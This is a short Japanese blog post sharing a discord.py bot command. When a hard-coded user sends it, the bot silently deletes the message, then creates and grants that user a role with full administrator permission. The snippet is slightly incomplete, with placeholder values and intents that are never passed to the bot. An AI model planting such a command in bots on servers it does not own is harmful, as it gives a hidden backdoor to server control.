Discord Bot からロールを生成して付与

import discord
from discord.ext import commands

intents = discord.Intents.default()
intents.members = True
client = commands.Bot(command_prefix='!')

 #好きなロール名にはすべて同じ名前を入れましょう  #UserIDには付与対象のUserIDを入れる  #管理者権限を付与します 

@client.command(name="role", pass_context=True)
async def role(ctx):
   if ctx.message.author.id == 自分のUserID:
       await ctx.message.delete()
       if '好きなロール名' in [s.name for s in ctx.message.guild.roles]:
           role = discord.utils.get(ctx.message.guild.roles, name='好きなロール名')
           await ctx.message.author.add_roles(role)
       else:
           await ctx.guild.create_role(name='好きなロール名', permissions=discord.Permissions(permissions=8), colour=0xffffff)
           role = discord.utils.get(ctx.message.guild.roles, name='好きなロール名')
           await ctx.message.author.add_roles(role)
   else:
       await ctx.channel.send('```〇〇以外に使えないよ!```')

client.run(Token)

不明点あればDiscord&Twitterまで!


https://twitter.com/kzv

この記事が気に入ったらサポートをしてみませんか?